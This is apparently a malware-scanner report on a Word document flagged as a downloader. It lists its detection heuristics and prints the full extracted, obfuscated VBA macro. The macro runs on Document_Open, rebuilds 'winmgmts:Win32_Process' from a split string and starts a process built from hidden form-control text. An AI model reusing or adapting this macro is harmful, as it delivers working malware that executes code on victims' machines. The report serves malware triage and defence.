MALICIOUS
172
Risk Score
Heuristics 7
-
ClamAV: Doc.Downloader.Generic-7469790-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-7469790-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set Cnnxftaudijtf = GetObject(Rpmdfmcv) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7456 bytes |
SHA-256: 510b9fb2df740ca55054380eece8ab243b2f32c2b7ef22a42e4ab34c92a53a2e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
190 of 302 identifiers look randomly generated (e.g. 'Pnrpeqoknclfz') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Eehltfkxwg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Deihnpxkvtdue, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Zzetriydl = 234 + 423
Do While Syntoazphs = 1
Anccvwtv = 3 * Dhhowgdrgs
Txscrbspdml = ("Quibusdam soluta.")
For Gpfdgruzh = Laesmqmvn To Eksfrcxhrwkj
Xnzbvoldmrrx = ("Emmett")
Napjsmkv = 223
Next
Zrczcjaq = Ocnurxib
Loop
Foxnzyhueflj
Xcfiggdyau = 234 + 423
Do While Xhpqckvi = 1
Xwhrnsulm = 3 * Whjdossav
Fcihmzzn = ("Henry")
For Gseiaptkdohl = Zfnnrchk To Qejggvmyomqpe
Dzqrwtuhhhg = ("Stella")
Vhlvxirvgm = 223
Next
Bjwjkkbsz = Rtycwxbz
Loop
End Sub
Attribute VB_Name = "Ohxgbrilhx"
Attribute VB_Base = "0{1DDA49EA-E0D8-4BFA-BB2F-7D387BA46C00}{83E60713-1A19-44BE-A8C0-8D646D635586}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Dndcbirsevqkp"
Function Xuuxbxyddksr()
Xzkikmkkawzqg = 234 + 423
Do While Sxalnqkyzwkkf = 1
Bybmwtozzgtx = 3 * Djyqrtqria
Allzbfsgvap = ("Nisi.")
For Fexaeusuovn = Ozckqahjscnz To Fjocuealosq
Msmpyohqt = ("Wendy")
Komgnbkbzf = 223
Next
Attgtdkjum = Qgnolxymedrg
Loop
Irulcyqkihc = Eehltfkxwg.Deihnpxkvtdue
Kiamvpznfhaxi = 234 + 423
Do While Qjtcsrzdngxcz = 1
Gwbeelshtsl = 3 * Hywxibwcb
Ekemfynzm = ("Odit consequatur quia facilis.")
For Eweakxca = Lsvpkztyf To Cwathgcue
Pgtathqyabjx = ("Cameron")
Iwvzubhgwcze = 223
Next
Rafgvscp = Gligkdszhb
Loop
Fbpmdeqbfmi = Irulcyqkihc + Ohxgbrilhx.Eifyggspoteqz + Ohxgbrilhx.Uyvcnxvrjqu + Ohxgbrilhx.Uvmyjiyvnrl
Uvmvbbxybkkv = 234 + 423
Do While Tzxyivsugpx = 1
Pmzeyhelrsota = 3 * Kcfmvbcicibl
Pxxrchlb = ("Ea aut dolorum incidunt aliquam quis.")
For Nzebgjeiqy = Jlpxndxw To Elcvqcywiiwty
Acsdsuaqlnmce = ("Debitis et.")
Ekprutzkt = 223
Next
Uqbgpmsbnb = Ebeuqieatdad
Loop
Iqfvaqfrc = Fbpmdeqbfmi + Ohxgbrilhx.Qjhxhbtex + Ohxgbrilhx.Nosfhhwouzj.Tag
Zuvtyrngvv = 234 + 423
Do While Rdqzmzykzmdx = 1
Ebojswaptpyy = 3 * Gljxbcjlzxiz
Lmqymemm = ("Error sed qui repellendus veritatis ea.")
For Dytckbanmd = Dgvflsbrbsc To Gzaliitu
Djgbywunqwxi = ("Sit enim.")
Htukakkv = 223
Next
Dbacevjtgmswe = Uhfmegyp
Loop
Xuuxbxyddksr = Btwdsehbglq + Iqfvaqfrc + Btwdsehbglq
Vxftjzioj = 234 + 423
Do While Qjvndqwxkmznc = 1
Xcudfewp = 3 * Nfbcftuhfzj
Rcqpuvvkc = ("Dolorum quasi qui.")
For Cfugltutzv = Uvesffxgrj To Appbuagl
Aayowmfpolbr = ("Porro.")
Pcpffgrskrfw = 223
Next
Zzpercuetril = Vjbitvmr
Loop
End Function
Function Foxnzyhueflj()
Pnrpeqoknclfz = 234 + 423
Do While Mxqczuwld = 1
Hcgohlem = 3 * Usguagyunaiw
Wbixbtcoga = ("Quas a error aut voluptatem sunt voluptatibus quia magnam ut.")
For Ezuabmhpsf = Ynyqpivka To Gcglcqgmgkoc
Nzvpmtrs = ("Ab.")
Nvlzyeyljhoyu = 223
Next
Zmsdxjlzq = Avncaobhx
Loop
iwiwiiwiwjjsj = "__&888*&^bBGks^@"
Sxlfaxujllvgc = 234 + 423
Do While Exsvlpyg = 1
Ljjjyramz = 3 * Bfkuwgahg
Migpynajuq = ("Enim.")
For Pnlanuvucnsds = Ojxznuzw To Jsmlqvrj
Glfnmltjypdw = ("Accusantium beatae unde quo vitae totam velit.")
Mawrecprjy = 223
Next
Iilsaukn = Djmcaqxl
Loop
Jbtqdshtfr = Split("__&888*&^bBGks^@wi__&888*&^bBGks^@nmg__&888*&^b" + "BGks^@mts__&888*&^bBGks^@:Wi__&888*&^bB" + "Gks^@n3__&888*&^bBGks^@2___&888*&^bBGks^@" + Eehltfkxwg.Deihnpxkvtdue + "__&888*&^bBGks^@ro__&888*&^bBGks^@ce__&888*&^bBGks^@ss__&888*&^bBGks^@", iwiwiiwiwjjsj)
Bdlfcbiqby = 234 + 423
Do While Jdmcckyp = 1
Eprfhwvdxguz = 3 * Rztbyaiveaclh
Bkkcjywnwtmv = ("Non.")
For Ogjjnldr = Jjikrdwprlw To Wlaulximel
Tsctrojotsz = ("Totam tempore.")
Wswxeleswn = 223
Next
Qrtnefynuy = Vzxmirdmkjpe
Loop
Rpmdfmcv = Join(Jbtqdshtfr, "")
Fpvcdtytoj = 234 + 423
Do While Ajpyjjivjedv = 1
Hldzvswb = 3 * Dkodwlfmiezz
Jmvqdblas = ("Quam.")
For Mqpnzwzstv = Ezxyrmfchawp To Gxpkdsnrjuqyi
Grkksqrfctnmz = ("Eveniet.")
Taecpcdjsg = 223
Next
Pcitexcaime = Psnqpfnnx
Loop
Set Cnnxftaudijtf = GetObject(Rpmdfmcv)
Nuwcvjdnxiyt = 234 + 423
Do While Rjlevqzdpsq = 1
Yfqfyzsdt = 3 * Tunqmsdgww
Sjaqskedmzde = ("Saepe laborum aut a.")
For Czuujysyk = Iqwpjzjz To Wyiztonztqiif
Mbnbctyy = ("Quis et ut aut.")
Tindaufyif = 223
Next
Vpjfzrkual = Wxvxhfxzup
Loop
Lztgmlgkjuoql = Rpmdfmcv + Ohxgbrilhx.Uxkbnfsocpewg.ControlTipText + Ohxgbrilhx.Qwhmkeushf.ControlTipText
Rpqawzhnhswx = 234 + 423
Do While Hnpqpquhmzlz = 1
Fevqkblms = 3 * Plccgfvyml
Korxkdrowbbhd = ("Sint est ducimus in ut molestias voluptates.")
For Ntiuuoeze = Ftqbkujhl To Dajbmonjvzkz
Eqbifomff = ("Suzanne")
Yvrhywlduphlt = 223
Next
Luweuuhwgdh = Ngyvldosw
Loop
Chwivovuxgv = Lztgmlgkjuoql + Eehltfkxwg.Deihnpxkvtdue
Qqqddtsvdqtj = 234 + 423
Do While Iaxxoevcuabk = 1
Bbcavsobcoj = 3 * Ddpdibkhetg
Wovpctycubnto = ("Mollitia ex saepe deleniti aut porro quo dignissimos.")
For Hyinhnrye = Jkjwivoxvzfm To Hpjcbkutdzg
Ejfpqrikotxt = ("Cassandra")
Qmgclvwzy = 223
Next
Dnypgjqwcjopj = Dgtvmjkfehxx
Loop
Set Foxnzyhueflj = GetObject(Chwivovuxgv)
Ozxxswibrkz = 234 + 423
Do While Mhfteymnvxlt = 1
Tweybdspi = 3 * Wqqwtfkjfszig
Idtblepro = ("Eum autem voluptatem iure et perferendis.")
For Lxcbxyhuih = Bsbjxmuoyfv To Whmugybrhtn
Vaamlymm = ("Shawna")
Kvsfuqogb = 223
Next
Arvabjuyuy = Tqunmtxj
Loop
Foxnzyhueflj.XSize = False
Ytqwtpubcvfwq = 234 + 423
Do While Uzlezkjtzww = 1
Pnjlyjrmpsksd = 3 * Nwkipyqxnbqmo
Zwvxmpltxhk = ("Omnis.")
For Gblvulgdm = Xyqwkhwcl To Nxgcibcmaexl
Pvsdtnmirz = ("Autem consectetur dicta repellat quae qui velit sit voluptatem.")
Pjqkipfnooprc = 223
Next
Anaanakv = Zslffggo
Loop
Foxnzyhueflj.YSize = False
Cksuoytboincn = 234 + 423
Do While Hvcbcjgqkvlo = 1
Ujpmtgbt = 3 * Oyvizgcui
Xyprowuhycjra = ("Natus quo qui impedit.")
For Yqthqoewndoyq = Rggcxkzufkhl To Ehvoahma
Ksccnaxdc = ("Quo.")
Dkywoyvoxi = 223
Next
Sivskpwgrg = Ehxgfmdimtaw
Loop
Do While Cnnxftaudijtf.Create(KSNNSN & Xuuxbxyddksr, Jowqyjhqxb, Foxnzyhueflj, Esfksqplop)
Loop
Qmzelfszfnc = 234 + 423
Do While Vqntwmdgldm = 1
Sgvmdshbxu = 3 * Hfckmwkko
Vcdxhjfj = ("Dignissimos rem.")
For Anmdsjkcnyvd = Hbvygbzvqcz To Vasrlxmhsphum
Bdhsqoqfn = ("Omnis saepe.")
Lvewjdjk = 223
Next
Vgkfzhol = Tbrumvhs
Loop
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.